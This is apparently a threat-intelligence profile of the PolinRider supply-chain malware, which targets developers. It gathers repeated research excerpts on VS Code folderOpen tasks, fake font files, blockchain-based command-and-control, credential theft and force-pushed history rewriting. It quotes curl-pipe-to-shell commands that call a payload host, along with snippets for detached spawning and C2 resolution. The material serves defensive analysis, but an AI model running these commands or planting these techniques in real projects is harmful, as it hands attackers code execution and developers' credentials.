PolinRider is a multistage JavaScript and Node.js loader family linked to North Korea-nexus threat activity. It targets software developers and development environments through compromised GitHub repositories and legitimate npm packages. Malicious npm releases containing PolinRider components date to May 2025. Execution occurs when affected modules are imported, applications start, or compromised project configurations run during development, linting, testing, or builds. Repository-based variants also use Visual Studio Code folder-opening tasks to execute obfuscated JavaScript disguised as font assets.
PolinRider uses public blockchains as dead-drop infrastructure for payload delivery and command-and-control resolution. Observed variants retrieve encrypted executable content from BNB Smart Chain and Ethereum transaction data or decode payload-server addresses from Ethereum transaction recipient fields. This allows operators to rotate infrastructure without modifying compromised projects or published packages. Loaders retrieve and execute additional JavaScript, including in detached Node.js processes. Evasion techniques include Base64 and XOR encoding, character permutation, whitespace concealment, asset masquerading, suppressed output, and checks for analysis environments.
Observed infection chains deploy Node.js remote-access functionality and Python information stealers targeting Windows, macOS, and Linux. Payload capabilities include shell-command execution, file uploads, and collection of environment secrets, browser passwords, session cookies, Git credentials, cryptocurrency-wallet data, and password-manager information. Collected data is archived and exfiltrated to attacker infrastructure, with Telegram used as a fallback in some chains. Earlier chains include JADESNOW and an INVISIBLEFERRET bootstrapper.
The self-propagating behavior documented in 2026 uses infected developer systems and legitimate repository access to inject malicious code across accessible projects, amend existing commits, and force-push rewritten history. Rewritten commits preserve trusted metadata to conceal tampering. Infected contributors can consequently reintroduce malicious changes after repository cleanup. This propagation behavior was not present in the recovered 2025 npm samples.
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“PolinRider malware (DPRK-attributed, Lazarus/Contagious Interview cluster) has been detected in two independent open pull requests against this repository.”
“PolinRider malware (DPRK-attributed, Lazarus/Contagious Interview cluster) has been detected in two independent open pull requests against this repository.”
PolinRider is supply-chain campaign that hides obfuscated JavaScript inside compromised developers' .vscode/tasks.json files, fake .woff2 fonts, and legitimate config files like tailwind.config.js, postcss.config.mjs, eslint.config.mjs, App.js and babel.config.cjs.
58 distinct techniques documented for this family, organized by ATT&CK tactic.
Malicious npm dependencies (typosquats of tailwindcss-animate and friends) whose postinstall hooks do the config-file injection.
The technique didn't get reinvented; it got cloned, scaled, and bolted onto a different worm... the tasks.json folderOpen primitive — first used at scale by a DPRK-aligned actor — has now crossed into a financially-motivated / worm-driven campaign.
GitHub’s log records which account’s credentials made a push ... 19 accounts force-pushed over eight months, and 18 of them show the same commit-rewriting pattern.
“The operators compromise developer accounts, insert malicious content into source repositories” and malicious changes were introduced through the compromised “LaHiRu” developer account.
"PolinRider Spreads Through Compromised GitHub Accounts and Packagist"
« ciblant des développeurs via des dépôts GitHub infectés » ; l’organisation GitHub Binary-Mindz et ses dépôts TypeScript ont été infectés.
Once a developer’s machine is infected, the malware running on their machine rewrites commits in every repo the developer has access to and force-pushes them. Any teammate who then opens one of those repos in VS Code gets infected too.
The hashtags include #SupplyChain and reference growth in PolinRider's confirmed footprint.
« Le vecteur d’infection initial est vraisemblablement une attaque Contagious Interview (fausse interview d’embauche demandant de cloner et exécuter un projet). »
Our working hypothesis is that one of the contributors was compromised around December or January, most likely through a Contagious Interview lure (a fake job interview that asks a developer to clone and run a project).
« .vscode/tasks.json : contient une tâche qui s’exécute automatiquement à l’ouverture du dossier et lance le payload » ; « Tâche curl dans tasks.json ».
The technique is .vscode/tasks.json with "runOn": "folderOpen" ... For trusted workspaces, that happens silently, before any code review ... Drop a tasks.json like that into a repository, get a developer to open the repository in VS Code, and you have remote code execution on their machine.
"curl https://260120.vercel.app/settings/win?flag=9-test | cmd"
"curl https://260120.vercel.app/settings/linux?flag=9-test | sh"
"The loader runs when a developer builds or starts the project" and runs C2 responses using "eval" and detached "node -e" commands.
Every invocation of astro build, astro dev, or astro preview from the affected branch runs the file as a Node.js module, and an obfuscated IIFE at the end fires automatically.
“Cloning a repository, opening it in an integrated development environment (IDE), or running a normal build or test” can begin the infection chain; “runOn”: “folderOpen” triggers code when a developer opens the repository.
Installing the malicious components version pulls in the malicious layouts version, and the payload executes at require() time as a side effect of the bundled module.
« .vscode/tasks.json : contient une tâche qui s’exécute automatiquement à l’ouverture du dossier et lance le payload » ; « Tâche curl dans tasks.json ».
GitHub’s log records which account’s credentials made a push ... 19 accounts force-pushed over eight months, and 18 of them show the same commit-rewriting pattern.
“The operators compromise developer accounts, insert malicious content into source repositories” and malicious changes were introduced through the compromised “LaHiRu” developer account.
[The payload] ran it with eval and as a detached background process that outlives the editor.
tasks.json ... contains a command to run fa-solid-400.woff2 every time the folder opens ... "runOptions": { "runOn": "folderOpen" }.
The specific technique used against fetch-page-assets, a hidden VS Code task set to folderOpen invoking a non-code file, is a published PolinRider signature.
The DPRK/Lazarus-aligned campaign — which merges the older TasksJacker and Contagious Interview clusters — uses tasks.json folderOpen execution as a fallback persistence layer behind its npm-config-file injection...
either the account’s credentials (PAT, OAuth grant, SSH key, or the CI’s GITHUB_TOKEN) are directly in the operator’s possession, or the maintainer’s local dev environment has an agent capable of driving git push as them on command.
« .vscode/tasks.json : contient une tâche qui s’exécute automatiquement à l’ouverture du dossier et lance le payload » ; « Tâche curl dans tasks.json ».
The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: 'ignore'
GitHub’s log records which account’s credentials made a push ... 19 accounts force-pushed over eight months, and 18 of them show the same commit-rewriting pattern.
“The operators compromise developer accounts, insert malicious content into source repositories” and malicious changes were introduced through the compromised “LaHiRu” developer account.
[The payload] ran it with eval and as a detached background process that outlives the editor.
tasks.json ... contains a command to run fa-solid-400.woff2 every time the folder opens ... "runOptions": { "runOn": "folderOpen" }.
The specific technique used against fetch-page-assets, a hidden VS Code task set to folderOpen invoking a non-code file, is a published PolinRider signature.
The DPRK/Lazarus-aligned campaign — which merges the older TasksJacker and Contagious Interview clusters — uses tasks.json folderOpen execution as a fallback persistence layer behind its npm-config-file injection...
"The second edit puts the payload on the last line, after 2,000 space characters." TypeScript variants place the JavaScript in Base64 inside eval().
L’implant utilise un mécanisme de résolution de payload via des transactions blockchain publiques (Tron, Aptos, BNB Smart Chain) pour récupérer du code chiffré, le déchiffrer par XOR, et l’évaluer dynamiquement.
"The author field uses the name and email of an oxc maintainer" and "The attacker back-dates the commits in the same way as the oxc commit."
« fa-solid-900.woff2 : Nom de fichier Font Awesome légitime » ; les charges sont placées sous des chemins tels que public/fonts/fa-solid-*.woff2.
“Malicious JavaScript is hidden in configuration files or files presented as .woff2 fonts, locations developers are less likely to inspect during code review.”
fake .woff2 fonts... public/fonts/fa-solid-400.woff2, not a font. Plaintext JavaScript with a .woff2 extension.
The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: 'ignore'
A Windows script rewrites git history to hide the tampering, making it look like a normal commit... temp_auto_push.bat still rewrites the latest commit to preserve its original timestamp... and force-pushes to erase the evidence.
"On Linux, it reports Blocked (BOT) and deletes its work folder if the host has no saved passwords, no extensions, and no Firefox profile."
Several of the pushed commits carry backdated author/committer dates... one on html-to-jsx-demo claims 2025-11-06 while the actual push arrived 2026-07-31
GitHub’s log records which account’s credentials made a push ... 19 accounts force-pushed over eight months, and 18 of them show the same commit-rewriting pattern.
“The operators compromise developer accounts, insert malicious content into source repositories” and malicious changes were introduced through the compromised “LaHiRu” developer account.
Every invocation of astro build, astro dev, or astro preview from the affected branch runs the file as a Node.js module, and an obfuscated IIFE at the end fires automatically.
The loader still resolves its second stage from blockchain dead-drops across TRON, Aptos, and BNB Smart Chain, decrypts it with embedded XOR keys...
"Its string table has a list of host and user names for CI runners and sandboxes" and "The script marks those hosts as Blocked."
"It also starts a detached node -e process with stdio: 'ignore' and windowsHide: true, which continues after the build script ends."
spawn(… {windowsHide:true, stdio:'ignore', detached:true})
Installing the malicious components version pulls in the malicious layouts version, and the payload executes at require() time as a side effect of the bundled module.
Fetched stage eval()’d in memory; nothing written to disk
either the account’s credentials (PAT, OAuth grant, SSH key, or the CI’s GITHUB_TOKEN) are directly in the operator’s possession, or the maintainer’s local dev environment has an agent capable of driving git push as them on command.
"PolinRider is A/B Testing its Way Past Your Detections"
"It posts the complete process.env to /snv. On a developer computer, that includes cloud keys and registry tokens in the shell."
PolinRider has been documented harvesting cached Git credentials from infected machines, allowing an attacker to push code under a developer’s identity.
"The stealer takes Chromium and Firefox passwords and cookies" and targets 153 browser-extension IDs including MetaMask, Phantom, Coinbase Wallet, 1Password, and Bitwarden.
either the account’s credentials (PAT, OAuth grant, SSH key, or the CI’s GITHUB_TOKEN) are directly in the operator’s possession, or the maintainer’s local dev environment has an agent capable of driving git push as them on command.
Initially it weaponized credentials stolen by TasksJacker...
The stealer checks for browser passwords, Firefox profiles, browser extensions, ~/.git-credentials, Python paths, and local work folders before collecting or deleting artifacts.
"Its string table has a list of host and user names for CI runners and sandboxes" and "The script marks those hosts as Blocked."
Try Tron first... catch (e) { // Fallback to Aptos ... } ... try { txInput = await fetchFromBSC('bsc-dataseed.binance.org'); ... } catch (e) { txInput = await fetchFromBSC('bsc-rpc.publicnode.com'); }
"Joyfill npm Packages Compromised with Blockchain C2 Loader"
C2 paths ':443/0x/cls, :443/0x/ls'; response header 'X-Payload-B64'; request header 'Sec-V'.
The C2 resolution chain is identical... Tron ... The result is a BSC transaction hash. BSC ... decode ... XOR decrypt with the hardcoded key and eval().
“PolinRider Switches to Ethereum C2 in 30+ Repositories”
"The loader encodes C2 IP addresses in the to field of Ethereum transactions."
The loader retrieves "/boot", "/0/boot", "/init", "/0/body", and the Python stager from "/$/1" before executing them.
...they pulled together nine malicious packages, a 77KB remote access trojan (RAT)...
« lecture de la dernière transaction d’un wallet Ethereum fixe pour décoder l’IP du C2 ».
Payloads XOR-encrypted with hard-coded keys, hex-encoded in tx input
The Sec-V header exfiltrates the marker value, letting the attacker correlate beacons to campaigns.
"It uploads a ZIP file to {_target}/u/f. If that fails, it sends the file with the Telegram Bot API."
It takes the newest commit on a branch, keeps the author name, email, date, and message, replaces the contents with a payload, and force-pushes the result to every branch in the repo.
“Operators force-push rewritten history to introduce or replace malicious code while making review and recovery more difficult.”
207 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
73 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.